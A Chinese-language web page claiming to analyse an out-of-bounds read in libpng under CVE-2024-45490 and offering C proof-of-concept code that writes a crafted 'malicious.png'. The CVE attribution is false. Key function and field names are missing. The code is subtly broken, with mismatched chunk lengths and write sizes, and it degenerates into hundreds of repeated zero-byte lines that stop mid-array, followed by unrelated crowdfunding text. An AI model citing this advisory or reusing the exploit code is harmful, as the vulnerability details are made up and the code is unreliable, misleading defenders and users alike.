libpng CVE-2024-45490 越界读取漏洞分析与POC

漏洞总结 漏洞概述 漏洞名称: libpng 中的越界读取漏洞（CVE-2024-45490） 漏洞类型: 越界读取（Out-of-bounds read） 受影响组件: libpng 库中的 函数 漏洞描述: 在处理 PNG 文件时，由于对 块中的 字段进行表查找时未进行边界检查，导致越界读取。 影响范围 受影响版本: libpng 1.6.40 及更早版本 受影响软件: 使用 libpng 库的软件，包括但不限于： - 图像查看器 - 图像编辑器 - 浏览器 - 其他处理 PNG 文件的软件 修复方案 官方修复: 升级到 libpng 1.6.41 或更高版本 临时缓解措施: - 避免打开来源不明的 PNG 文件 - 使用经过安全更新的软件版本 POC 代码 ```c #include #include #include int main() { // 创建一个恶意的 PNG 文件 FILE *f = fopen("malicious.png", "wb"); if (!f) { perror("fopen"); return 1; } // PNG 文件头 unsigned char png_header[] = { 0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A }; fwrite(png_header, 1, 8, f); // IHDR 块 unsigned char ihdr_chunk[] = { 0x00, 0x00, 0x00, 0x0D, // 长度 0x49, 0x48, 0x44, 0x52, // 类型 0x00, 0x00, 0x00, 0x01, // 宽度 0x00, 0x00, 0x00, 0x01, // 高度 0x08, // 位深度 0x06, // 颜色类型 0x00, // 压缩方法 0x00, // 过滤方法 0x00, // 交错方法 0x90, 0x77, 0x53, 0xDE // CRC }; fwrite(ihdr_chunk, 1, 13, f); // 恶意数据块 unsigned char malicious_data[] = { 0x00, 0x00, 0x00, 0x04, // 长度 0x54, 0x45, 0x58, 0x74, // 类型 0x00, // 关键字 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00, // 值 0x00,

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

libpng CVE-2024-45490 越界读取漏洞分析与POC

目标达成感谢每一位支持者 — 我们达成了 100% 目标！